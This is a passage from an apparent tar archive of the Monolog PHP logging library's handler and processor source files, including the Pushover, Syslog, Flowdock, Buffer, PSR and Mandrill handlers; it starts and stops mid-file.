$this->deduplicationLevel = Logger::toMonologLevel($deduplicationLevel); $this->time = $time; } public function flush(): void { if ($this->bufferSize === 0) { return; } $passthru = null; foreach ($this->buffer as $record) { if ($record['level'] >= $this->deduplicationLevel) { $passthru = $passthru || !$this->isDuplicate($record); if ($passthru) { $this->appendRecord($record); } } } // default of null is valid as well as if no record matches duplicationLevel we just pass through if ($passthru === true || $passthru === null) { $this->handler->handleBatch($this->buffer); } $this->clear(); if ($this->gc) { $this->collectLogs(); } } /** * @phpstan-param Record $record */ private function isDuplicate(array $record): bool { if (!file_exists($this->deduplicationStore)) { return false; } $store = file($this->deduplicationStore, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!is_array($store)) { return false; } $yesterday = time() - 86400; $timestampValidity = $record['datetime']->getTimestamp() - $this->time; $expectedMessage = preg_replace('{[\r\n].*}', '', $record['message']); for ($i = count($store) - 1; $i >= 0; $i--) { list($timestamp, $level, $message) = explode(':', $store[$i], 3); if ($level === $record['level_name'] && $message === $expectedMessage && $timestamp > $timestampValidity) { return true; } if ($timestamp < $yesterday) { $this->gc = true; } } return false; } private function collectLogs(): void { if (!file_exists($this->deduplicationStore)) { return; } $handle = fopen($this->deduplicationStore, 'rw+'); if (!$handle) { throw new \RuntimeException('Failed to open file for reading and writing: ' . $this->deduplicationStore); } flock($handle, LOCK_EX); $validLogs = []; $timestampValidity = time() - $this->time; while (!feof($handle)) { $log = fgets($handle); if ($log && substr($log, 0, 10) >= $timestampValidity) { $validLogs[] = $log; } } ftruncate($handle, 0); rewind($handle); foreach ($validLogs as $log) { fwrite($handle, $log); } flock($handle, LOCK_UN); fclose($handle); $this->gc = false; } /** * @phpstan-param Record $record */ private function appendRecord(array $record): void { file_put_contents($this->deduplicationStore, $record['datetime']->getTimestamp() . ':' . $record['level_name'] . ':' . preg_replace('{[\r\n].*}', '', $record['message']) . "\n", FILE_APPEND); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/PushoverHandler.php000064400000017625147577714370023710 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; use Psr\Log\LogLevel; /** * Sends notifications through the pushover api to mobile phones * * @author Sebastian Göttschkes * @see https://www.pushover.net/api * * @phpstan-import-type FormattedRecord from AbstractProcessingHandler * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ class PushoverHandler extends SocketHandler { /** @var string */ private $token; /** @var array */ private $users; /** @var string */ private $title; /** @var string|int|null */ private $user = null; /** @var int */ private $retry; /** @var int */ private $expire; /** @var int */ private $highPriorityLevel; /** @var int */ private $emergencyLevel; /** @var bool */ private $useFormattedMessage = false; /** * All parameters that can be sent to Pushover * @see https://pushover.net/api * @var array */ private $parameterNames = [ 'token' => true, 'user' => true, 'message' => true, 'device' => true, 'title' => true, 'url' => true, 'url_title' => true, 'priority' => true, 'timestamp' => true, 'sound' => true, 'retry' => true, 'expire' => true, 'callback' => true, ]; /** * Sounds the api supports by default * @see https://pushover.net/api#sounds * @var string[] */ private $sounds = [ 'pushover', 'bike', 'bugle', 'cashregister', 'classical', 'cosmic', 'falling', 'gamelan', 'incoming', 'intermission', 'magic', 'mechanical', 'pianobar', 'siren', 'spacealarm', 'tugboat', 'alien', 'climb', 'persistent', 'echo', 'updown', 'none', ]; /** * @param string $token Pushover api token * @param string|array $users Pushover user id or array of ids the message will be sent to * @param string|null $title Title sent to the Pushover API * @param bool $useSSL Whether to connect via SSL. Required when pushing messages to users that are not * the pushover.net app owner. OpenSSL is required for this option. * @param string|int $highPriorityLevel The minimum logging level at which this handler will start * sending "high priority" requests to the Pushover API * @param string|int $emergencyLevel The minimum logging level at which this handler will start * sending "emergency" requests to the Pushover API * @param int $retry The retry parameter specifies how often (in seconds) the Pushover servers will * send the same notification to the user. * @param int $expire The expire parameter specifies how many seconds your notification will continue * to be retried for (every retry seconds). * * @phpstan-param string|array $users * @phpstan-param Level|LevelName|LogLevel::* $highPriorityLevel * @phpstan-param Level|LevelName|LogLevel::* $emergencyLevel */ public function __construct( string $token, $users, ?string $title = null, $level = Logger::CRITICAL, bool $bubble = true, bool $useSSL = true, $highPriorityLevel = Logger::CRITICAL, $emergencyLevel = Logger::EMERGENCY, int $retry = 30, int $expire = 25200, bool $persistent = false, float $timeout = 0.0, float $writingTimeout = 10.0, ?float $connectionTimeout = null, ?int $chunkSize = null ) { $connectionString = $useSSL ? 'ssl://api.pushover.net:443' : 'api.pushover.net:80'; parent::__construct( $connectionString, $level, $bubble, $persistent, $timeout, $writingTimeout, $connectionTimeout, $chunkSize ); $this->token = $token; $this->users = (array) $users; $this->title = $title ?: (string) gethostname(); $this->highPriorityLevel = Logger::toMonologLevel($highPriorityLevel); $this->emergencyLevel = Logger::toMonologLevel($emergencyLevel); $this->retry = $retry; $this->expire = $expire; } protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * @phpstan-param FormattedRecord $record */ private function buildContent(array $record): string { // Pushover has a limit of 512 characters on title and message combined. $maxMessageLength = 512 - strlen($this->title); $message = ($this->useFormattedMessage) ? $record['formatted'] : $record['message']; $message = Utils::substr($message, 0, $maxMessageLength); $timestamp = $record['datetime']->getTimestamp(); $dataArray = [ 'token' => $this->token, 'user' => $this->user, 'message' => $message, 'title' => $this->title, 'timestamp' => $timestamp, ]; if (isset($record['level']) && $record['level'] >= $this->emergencyLevel) { $dataArray['priority'] = 2; $dataArray['retry'] = $this->retry; $dataArray['expire'] = $this->expire; } elseif (isset($record['level']) && $record['level'] >= $this->highPriorityLevel) { $dataArray['priority'] = 1; } // First determine the available parameters $context = array_intersect_key($record['context'], $this->parameterNames); $extra = array_intersect_key($record['extra'], $this->parameterNames); // Least important info should be merged with subsequent info $dataArray = array_merge($extra, $context, $dataArray); // Only pass sounds that are supported by the API if (isset($dataArray['sound']) && !in_array($dataArray['sound'], $this->sounds)) { unset($dataArray['sound']); } return http_build_query($dataArray); } private function buildHeader(string $content): string { $header = "POST /1/messages.json HTTP/1.1\r\n"; $header .= "Host: api.pushover.net\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } protected function write(array $record): void { foreach ($this->users as $user) { $this->user = $user; parent::write($record); $this->closeSocket(); } $this->user = null; } /** * @param int|string $value * * @phpstan-param Level|LevelName|LogLevel::* $value */ public function setHighPriorityLevel($value): self { $this->highPriorityLevel = Logger::toMonologLevel($value); return $this; } /** * @param int|string $value * * @phpstan-param Level|LevelName|LogLevel::* $value */ public function setEmergencyLevel($value): self { $this->emergencyLevel = Logger::toMonologLevel($value); return $this; } /** * Use the formatted message? */ public function useFormattedMessage(bool $value): self { $this->useFormattedMessage = $value; return $this; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/TestHandler.php000064400000015136147577714370023007 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Psr\Log\LogLevel; /** * Used for testing purposes. * * It records all records and gives you access to them for verification. * * @author Jordi Boggiano * * @method bool hasEmergency($record) * @method bool hasAlert($record) * @method bool hasCritical($record) * @method bool hasError($record) * @method bool hasWarning($record) * @method bool hasNotice($record) * @method bool hasInfo($record) * @method bool hasDebug($record) * * @method bool hasEmergencyRecords() * @method bool hasAlertRecords() * @method bool hasCriticalRecords() * @method bool hasErrorRecords() * @method bool hasWarningRecords() * @method bool hasNoticeRecords() * @method bool hasInfoRecords() * @method bool hasDebugRecords() * * @method bool hasEmergencyThatContains($message) * @method bool hasAlertThatContains($message) * @method bool hasCriticalThatContains($message) * @method bool hasErrorThatContains($message) * @method bool hasWarningThatContains($message) * @method bool hasNoticeThatContains($message) * @method bool hasInfoThatContains($message) * @method bool hasDebugThatContains($message) * * @method bool hasEmergencyThatMatches($message) * @method bool hasAlertThatMatches($message) * @method bool hasCriticalThatMatches($message) * @method bool hasErrorThatMatches($message) * @method bool hasWarningThatMatches($message) * @method bool hasNoticeThatMatches($message) * @method bool hasInfoThatMatches($message) * @method bool hasDebugThatMatches($message) * * @method bool hasEmergencyThatPasses($message) * @method bool hasAlertThatPasses($message) * @method bool hasCriticalThatPasses($message) * @method bool hasErrorThatPasses($message) * @method bool hasWarningThatPasses($message) * @method bool hasNoticeThatPasses($message) * @method bool hasInfoThatPasses($message) * @method bool hasDebugThatPasses($message) * * @phpstan-import-type Record from \Monolog\Logger * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ class TestHandler extends AbstractProcessingHandler { /** @var Record[] */ protected $records = []; /** @var array */ protected $recordsByLevel = []; /** @var bool */ private $skipReset = false; /** * @return array * * @phpstan-return Record[] */ public function getRecords() { return $this->records; } /** * @return void */ public function clear() { $this->records = []; $this->recordsByLevel = []; } /** * @return void */ public function reset() { if (!$this->skipReset) { $this->clear(); } } /** * @return void */ public function setSkipReset(bool $skipReset) { $this->skipReset = $skipReset; } /** * @param string|int $level Logging level value or name * * @phpstan-param Level|LevelName|LogLevel::* $level */ public function hasRecords($level): bool { return isset($this->recordsByLevel[Logger::toMonologLevel($level)]); } /** * @param string|array $record Either a message string or an array containing message and optionally context keys that will be checked against all records * @param string|int $level Logging level value or name * * @phpstan-param array{message: string, context?: mixed[]}|string $record * @phpstan-param Level|LevelName|LogLevel::* $level */ public function hasRecord($record, $level): bool { if (is_string($record)) { $record = array('message' => $record); } return $this->hasRecordThatPasses(function ($rec) use ($record) { if ($rec['message'] !== $record['message']) { return false; } if (isset($record['context']) && $rec['context'] !== $record['context']) { return false; } return true; }, $level); } /** * @param string|int $level Logging level value or name * * @phpstan-param Level|LevelName|LogLevel::* $level */ public function hasRecordThatContains(string $message, $level): bool { return $this->hasRecordThatPasses(function ($rec) use ($message) { return strpos($rec['message'], $message) !== false; }, $level); } /** * @param string|int $level Logging level value or name * * @phpstan-param Level|LevelName|LogLevel::* $level */ public function hasRecordThatMatches(string $regex, $level): bool { return $this->hasRecordThatPasses(function (array $rec) use ($regex): bool { return preg_match($regex, $rec['message']) > 0; }, $level); } /** * @param string|int $level Logging level value or name * @return bool * * @psalm-param callable(Record, int): mixed $predicate * @phpstan-param Level|LevelName|LogLevel::* $level */ public function hasRecordThatPasses(callable $predicate, $level) { $level = Logger::toMonologLevel($level); if (!isset($this->recordsByLevel[$level])) { return false; } foreach ($this->recordsByLevel[$level] as $i => $rec) { if ($predicate($rec, $i)) { return true; } } return false; } /** * {@inheritDoc} */ protected function write(array $record): void { $this->recordsByLevel[$record['level']][] = $record; $this->records[] = $record; } /** * @param string $method * @param mixed[] $args * @return bool */ public function __call($method, $args) { if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) { $genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3]; $level = constant('Monolog\Logger::' . strtoupper($matches[2])); $callback = [$this, $genericMethod]; if (is_callable($callback)) { $args[] = $level; return call_user_func_array($callback, $args); } } throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()'); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SyslogUdpHandler.php000064400000010621147577714370024013 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use DateTimeInterface; use Monolog\Logger; use Monolog\Handler\SyslogUdp\UdpSocket; use Monolog\Utils; /** * A Handler for logging to a remote syslogd server. * * @author Jesper Skovgaard Nielsen * @author Dominik Kukacka */ class SyslogUdpHandler extends AbstractSyslogHandler { const RFC3164 = 0; const RFC5424 = 1; const RFC5424e = 2; /** @var array */ private $dateFormats = array( self::RFC3164 => 'M d H:i:s', self::RFC5424 => \DateTime::RFC3339, self::RFC5424e => \DateTime::RFC3339_EXTENDED, ); /** @var UdpSocket */ protected $socket; /** @var string */ protected $ident; /** @var self::RFC* */ protected $rfc; /** * @param string $host Either IP/hostname or a path to a unix socket (port must be 0 then) * @param int $port Port number, or 0 if $host is a unix socket * @param string|int $facility Either one of the names of the keys in $this->facilities, or a LOG_* facility constant * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * @param string $ident Program name or tag for each log message. * @param int $rfc RFC to format the message for. * @throws MissingExtensionException * * @phpstan-param self::RFC* $rfc */ public function __construct(string $host, int $port = 514, $facility = LOG_USER, $level = Logger::DEBUG, bool $bubble = true, string $ident = 'php', int $rfc = self::RFC5424) { if (!extension_loaded('sockets')) { throw new MissingExtensionException('The sockets extension is required to use the SyslogUdpHandler'); } parent::__construct($facility, $level, $bubble); $this->ident = $ident; $this->rfc = $rfc; $this->socket = new UdpSocket($host, $port); } protected function write(array $record): void { $lines = $this->splitMessageIntoLines($record['formatted']); $header = $this->makeCommonSyslogHeader($this->logLevels[$record['level']], $record['datetime']); foreach ($lines as $line) { $this->socket->write($line, $header); } } public function close(): void { $this->socket->close(); } /** * @param string|string[] $message * @return string[] */ private function splitMessageIntoLines($message): array { if (is_array($message)) { $message = implode("\n", $message); } $lines = preg_split('/$\R?^/m', (string) $message, -1, PREG_SPLIT_NO_EMPTY); if (false === $lines) { $pcreErrorCode = preg_last_error(); throw new \RuntimeException('Could not preg_split: ' . $pcreErrorCode . ' / ' . Utils::pcreLastErrorMessage($pcreErrorCode)); } return $lines; } /** * Make common syslog header (see rfc5424 or rfc3164) */ protected function makeCommonSyslogHeader(int $severity, DateTimeInterface $datetime): string { $priority = $severity + $this->facility; if (!$pid = getmypid()) { $pid = '-'; } if (!$hostname = gethostname()) { $hostname = '-'; } if ($this->rfc === self::RFC3164) { // see https://github.com/phpstan/phpstan/issues/5348 // @phpstan-ignore-next-line $dateNew = $datetime->setTimezone(new \DateTimeZone('UTC')); $date = $dateNew->format($this->dateFormats[$this->rfc]); return "<$priority>" . $date . " " . $hostname . " " . $this->ident . "[" . $pid . "]: "; } $date = $datetime->format($this->dateFormats[$this->rfc]); return "<$priority>1 " . $date . " " . $hostname . " " . $this->ident . " " . $pid . " - - "; } /** * Inject your own socket, mainly used for testing */ public function setSocket(UdpSocket $socket): self { $this->socket = $socket; return $this; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/SyslogHandler.php000064400000003563147577714370023351 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; /** * Logs to syslog service. * * usage example: * * $log = new Logger('application'); * $syslog = new SyslogHandler('myfacility', 'local6'); * $formatter = new LineFormatter("%channel%.%level_name%: %message% %extra%"); * $syslog->setFormatter($formatter); * $log->pushHandler($syslog); * * @author Sven Paulus */ class SyslogHandler extends AbstractSyslogHandler { /** @var string */ protected $ident; /** @var int */ protected $logopts; /** * @param string $ident * @param string|int $facility Either one of the names of the keys in $this->facilities, or a LOG_* facility constant * @param int $logopts Option flags for the openlog() call, defaults to LOG_PID */ public function __construct(string $ident, $facility = LOG_USER, $level = Logger::DEBUG, bool $bubble = true, int $logopts = LOG_PID) { parent::__construct($facility, $level, $bubble); $this->ident = $ident; $this->logopts = $logopts; } /** * {@inheritDoc} */ public function close(): void { closelog(); } /** * {@inheritDoc} */ protected function write(array $record): void { if (!openlog($this->ident, $this->logopts, $this->facility)) { throw new \LogicException('Can\'t open syslog for ident "'.$this->ident.'" and facility "'.$this->facility.'"' . Utils::getRecordMessageForException($record)); } syslog($this->logLevels[$record['level']], (string) $record['formatted']); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/FlowdockHandler.php000064400000006676147577714370023651 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\Utils; use Monolog\Formatter\FlowdockFormatter; use Monolog\Formatter\FormatterInterface; /** * Sends notifications through the Flowdock push API * * This must be configured with a FlowdockFormatter instance via setFormatter() * * Notes: * API token - Flowdock API token * * @author Dominik Liebler * @see https://www.flowdock.com/api/push * * @phpstan-import-type FormattedRecord from AbstractProcessingHandler */ class FlowdockHandler extends SocketHandler { /** * @var string */ protected $apiToken; /** * @throws MissingExtensionException if OpenSSL is missing */ public function __construct( string $apiToken, $level = Logger::DEBUG, bool $bubble = true, bool $persistent = false, float $timeout = 0.0, float $writingTimeout = 10.0, ?float $connectionTimeout = null, ?int $chunkSize = null ) { if (!extension_loaded('openssl')) { throw new MissingExtensionException('The OpenSSL PHP extension is required to use the FlowdockHandler'); } parent::__construct( 'ssl://api.flowdock.com:443', $level, $bubble, $persistent, $timeout, $writingTimeout, $connectionTimeout, $chunkSize ); $this->apiToken = $apiToken; } /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if (!$formatter instanceof FlowdockFormatter) { throw new \InvalidArgumentException('The FlowdockHandler requires an instance of Monolog\Formatter\FlowdockFormatter to function correctly'); } return parent::setFormatter($formatter); } /** * Gets the default formatter. */ protected function getDefaultFormatter(): FormatterInterface { throw new \InvalidArgumentException('The FlowdockHandler must be configured (via setFormatter) with an instance of Monolog\Formatter\FlowdockFormatter to function correctly'); } /** * {@inheritDoc} */ protected function write(array $record): void { parent::write($record); $this->closeSocket(); } /** * {@inheritDoc} */ protected function generateDataStream(array $record): string { $content = $this->buildContent($record); return $this->buildHeader($content) . $content; } /** * Builds the body of API call * * @phpstan-param FormattedRecord $record */ private function buildContent(array $record): string { return Utils::jsonEncode($record['formatted']['flowdock']); } /** * Builds the header of the API Call */ private function buildHeader(string $content): string { $header = "POST /v1/messages/team_inbox/" . $this->apiToken . " HTTP/1.1\r\n"; $header .= "Host: api.flowdock.com\r\n"; $header .= "Content-Type: application/json\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "\r\n"; return $header; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/BufferHandler.php000064400000011044147577714370023273 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\ResettableInterface; use Monolog\Formatter\FormatterInterface; /** * Buffers all records until closing the handler and then pass them as batch. * * This is useful for a MailHandler to send only one mail per request instead of * sending one per log message. * * @author Christophe Coevoet * * @phpstan-import-type Record from \Monolog\Logger */ class BufferHandler extends AbstractHandler implements ProcessableHandlerInterface, FormattableHandlerInterface { use ProcessableHandlerTrait; /** @var HandlerInterface */ protected $handler; /** @var int */ protected $bufferSize = 0; /** @var int */ protected $bufferLimit; /** @var bool */ protected $flushOnOverflow; /** @var Record[] */ protected $buffer = []; /** @var bool */ protected $initialized = false; /** * @param HandlerInterface $handler Handler. * @param int $bufferLimit How many entries should be buffered at most, beyond that the oldest items are removed from the buffer. * @param bool $flushOnOverflow If true, the buffer is flushed when the max size has been reached, by default oldest entries are discarded */ public function __construct(HandlerInterface $handler, int $bufferLimit = 0, $level = Logger::DEBUG, bool $bubble = true, bool $flushOnOverflow = false) { parent::__construct($level, $bubble); $this->handler = $handler; $this->bufferLimit = $bufferLimit; $this->flushOnOverflow = $flushOnOverflow; } /** * {@inheritDoc} */ public function handle(array $record): bool { if ($record['level'] < $this->level) { return false; } if (!$this->initialized) { // __destructor() doesn't get called on Fatal errors register_shutdown_function([$this, 'close']); $this->initialized = true; } if ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) { if ($this->flushOnOverflow) { $this->flush(); } else { array_shift($this->buffer); $this->bufferSize--; } } if ($this->processors) { /** @var Record $record */ $record = $this->processRecord($record); } $this->buffer[] = $record; $this->bufferSize++; return false === $this->bubble; } public function flush(): void { if ($this->bufferSize === 0) { return; } $this->handler->handleBatch($this->buffer); $this->clear(); } public function __destruct() { // suppress the parent behavior since we already have register_shutdown_function() // to call close(), and the reference contained there will prevent this from being // GC'd until the end of the request } /** * {@inheritDoc} */ public function close(): void { $this->flush(); $this->handler->close(); } /** * Clears the buffer without flushing any messages down to the wrapped handler. */ public function clear(): void { $this->bufferSize = 0; $this->buffer = []; } public function reset() { $this->flush(); parent::reset(); $this->resetProcessors(); if ($this->handler instanceof ResettableInterface) { $this->handler->reset(); } } /** * {@inheritDoc} */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { if ($this->handler instanceof FormattableHandlerInterface) { $this->handler->setFormatter($formatter); return $this; } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } /** * {@inheritDoc} */ public function getFormatter(): FormatterInterface { if ($this->handler instanceof FormattableHandlerInterface) { return $this->handler->getFormatter(); } throw new \UnexpectedValueException('The nested handler of type '.get_class($this->handler).' does not support formatters.'); } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/PsrHandler.php000064400000004610147577714370022627 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Psr\Log\LoggerInterface; use Monolog\Formatter\FormatterInterface; /** * Proxies log messages to an existing PSR-3 compliant logger. * * If a formatter is configured, the formatter's output MUST be a string and the * formatted message will be fed to the wrapped PSR logger instead of the original * log record's message. * * @author Michael Moussa */ class PsrHandler extends AbstractHandler implements FormattableHandlerInterface { /** * PSR-3 compliant logger * * @var LoggerInterface */ protected $logger; /** * @var FormatterInterface|null */ protected $formatter; /** * @param LoggerInterface $logger The underlying PSR-3 compliant logger to which messages will be proxied */ public function __construct(LoggerInterface $logger, $level = Logger::DEBUG, bool $bubble = true) { parent::__construct($level, $bubble); $this->logger = $logger; } /** * {@inheritDoc} */ public function handle(array $record): bool { if (!$this->isHandling($record)) { return false; } if ($this->formatter) { $formatted = $this->formatter->format($record); $this->logger->log(strtolower($record['level_name']), (string) $formatted, $record['context']); } else { $this->logger->log(strtolower($record['level_name']), $record['message'], $record['context']); } return false === $this->bubble; } /** * Sets the formatter. * * @param FormatterInterface $formatter */ public function setFormatter(FormatterInterface $formatter): HandlerInterface { $this->formatter = $formatter; return $this; } /** * Gets the formatter. * * @return FormatterInterface */ public function getFormatter(): FormatterInterface { if (!$this->formatter) { throw new \LogicException('No formatter has been set and this handler does not have a default formatter'); } return $this->formatter; } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerInterface.php000064400000002255147577714370026151 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Processor\ProcessorInterface; /** * Interface to describe loggers that have processors * * @author Jordi Boggiano * * @phpstan-import-type Record from \Monolog\Logger */ interface ProcessableHandlerInterface { /** * Adds a processor in the stack. * * @psalm-param ProcessorInterface|callable(Record): Record $callback * * @param ProcessorInterface|callable $callback * @return HandlerInterface self */ public function pushProcessor(callable $callback): HandlerInterface; /** * Removes the processor on top of the stack and returns it. * * @psalm-return ProcessorInterface|callable(Record): Record $callback * * @throws \LogicException In case the processor stack is empty * @return callable|ProcessorInterface */ public function popProcessor(): callable; } res/readability/vendor/monolog/monolog/src/Monolog/Handler/AbstractHandler.php000064400000005133147577714370023627 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Monolog\ResettableInterface; use Psr\Log\LogLevel; /** * Base Handler class providing basic level/bubble support * * @author Jordi Boggiano * * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ abstract class AbstractHandler extends Handler implements ResettableInterface { /** * @var int * @phpstan-var Level */ protected $level = Logger::DEBUG; /** @var bool */ protected $bubble = true; /** * @param int|string $level The minimum logging level at which this handler will be triggered * @param bool $bubble Whether the messages that are handled can bubble up the stack or not * * @phpstan-param Level|LevelName|LogLevel::* $level */ public function __construct($level = Logger::DEBUG, bool $bubble = true) { $this->setLevel($level); $this->bubble = $bubble; } /** * {@inheritDoc} */ public function isHandling(array $record): bool { return $record['level'] >= $this->level; } /** * Sets minimum logging level at which this handler will be triggered. * * @param Level|LevelName|LogLevel::* $level Level or level name * @return self */ public function setLevel($level): self { $this->level = Logger::toMonologLevel($level); return $this; } /** * Gets minimum logging level at which this handler will be triggered. * * @return int * * @phpstan-return Level */ public function getLevel(): int { return $this->level; } /** * Sets the bubbling behavior. * * @param bool $bubble true means that this handler allows bubbling. * false means that bubbling is not permitted. * @return self */ public function setBubble(bool $bubble): self { $this->bubble = $bubble; return $this; } /** * Gets the bubbling behavior. * * @return bool true means that this handler allows bubbling. * false means that bubbling is not permitted. */ public function getBubble(): bool { return $this->bubble; } /** * {@inheritDoc} */ public function reset() { } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/WhatFailureGroupHandler.php000064400000003205147577714370025312 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; /** * Forwards records to multiple handlers suppressing failures of each handler * and continuing through to give every handler a chance to succeed. * * @author Craig D'Amelio * * @phpstan-import-type Record from \Monolog\Logger */ class WhatFailureGroupHandler extends GroupHandler { /** * {@inheritDoc} */ public function handle(array $record): bool { if ($this->processors) { /** @var Record $record */ $record = $this->processRecord($record); } foreach ($this->handlers as $handler) { try { $handler->handle($record); } catch (\Throwable $e) { // What failure? } } return false === $this->bubble; } /** * {@inheritDoc} */ public function handleBatch(array $records): void { if ($this->processors) { $processed = array(); foreach ($records as $record) { $processed[] = $this->processRecord($record); } /** @var Record[] $records */ $records = $processed; } foreach ($this->handlers as $handler) { try { $handler->handleBatch($records); } catch (\Throwable $e) { // What failure? } } } } res/readability/vendor/monolog/monolog/src/Monolog/Handler/MandrillHandler.php000064400000004651147577714370023632 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Handler; use Monolog\Logger; use Swift; use Swift_Message; /** * MandrillHandler uses cURL to send the emails to the Mandrill API * * @author Adam Nicholson */ class MandrillHandler extends MailHandler { /** @var Swift_Message */ protected $message; /** @var string */ protected $apiKey; /** * @psalm-param Swift_Message|callable(): Swift_Message $message * * @param string $apiKey A valid Mandrill API key * @param callable|Swift_Message $message An example message for real messages, only the body will be replaced */ public function __construct(string $apiKey, $message, $level = Logger::ERROR, bool $bubble = true) { parent::__construct($level, $bubble); if (!$message instanceof Swift_Message && is_callable($message)) { $message = $message(); } if (!$message instanceof Swift_Message) { throw new \InvalidArgumentException('You must provide either a Swift_Message instance or a callable returning it'); } $this->message = $message; $this->apiKey = $apiKey; } /** * {@inheritDoc} */ protected function send(string $content, array $records): void { $mime = 'text/plain'; if ($this->isHtmlBody($content)) { $mime = 'text/html'; } $message = clone $this->message; $message->setBody($content, $mime); /** @phpstan-ignore-next-line */ if (version_compare(Swift::VERSION, '6.0.0', '>=')) { $message->setDate(new \DateTimeImmutable()); } else { /** @phpstan-ignore-next-line */ $message->setDate(time()); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://mandrillapp.com/api/1.0/messages/send-raw.json'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([ 'key' => $this->apiKey, 'raw_message' => (string) $message, 'async' => false, ])); Curl\Util::execute($ch); } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/MemoryPeakUsageProcessor.php000064400000001504147577714370026124 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects memory_get_peak_usage in all records * * @see Monolog\Processor\MemoryProcessor::__construct() for options * @author Rob Jensen */ class MemoryPeakUsageProcessor extends MemoryProcessor { /** * {@inheritDoc} */ public function __invoke(array $record): array { $usage = memory_get_peak_usage($this->realUsage); if ($this->useFormatting) { $usage = $this->formatBytes($usage); } $record['extra']['memory_peak_usage'] = $usage; return $record; } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/MemoryUsageProcessor.php000064400000001461147577714370025325 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; /** * Injects memory_get_usage in all records * * @see Monolog\Processor\MemoryProcessor::__construct() for options * @author Rob Jensen */ class MemoryUsageProcessor extends MemoryProcessor { /** * {@inheritDoc} */ public function __invoke(array $record): array { $usage = memory_get_usage($this->realUsage); if ($this->useFormatting) { $usage = $this->formatBytes($usage); } $record['extra']['memory_usage'] = $usage; return $record; } } res/readability/vendor/monolog/monolog/src/Monolog/Processor/IntrospectionProcessor.php000064400000007434147577714370025736 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog\Processor; use Monolog\Logger; use Psr\Log\LogLevel; /** * Injects line/file:class/function where the log message came from * * Warning: This only works if the handler processes the logs directly. * If you put the processor on a handler that is behind a FingersCrossedHandler * for example, the processor will only be called once the trigger level is reached, * and all the log records will have the same file/line/.. data from the call that * triggered the FingersCrossedHandler. * * @author Jordi Boggiano * * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ class IntrospectionProcessor implements ProcessorInterface { /** @var int */ private $level; /** @var string[] */ private $skipClassesPartials; /** @var int */ private $skipStackFramesCount; /** @var string[] */ private $skipFunctions = [ 'call_user_func', 'call_user_func_array', ]; /** * @param string|int $level The minimum logging level at which this Processor will be triggered * @param string[] $skipClassesPartials * * @phpstan-param Level|LevelName|LogLevel::* $level */ public function __construct($level = Logger::DEBUG, array $skipClassesPartials = [], int $skipStackFramesCount = 0) { $this->level = Logger::toMonologLevel($level); $this->skipClassesPartials = array_merge(['Monolog\\'], $skipClassesPartials); $this->skipStackFramesCount = $skipStackFramesCount; } /** * {@inheritDoc} */ public function __invoke(array $record): array { // return if the level is not high enough if ($record['level'] < $this->level) { return $record; } $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); // skip first since it's always the current method array_shift($trace); // the call_user_func call 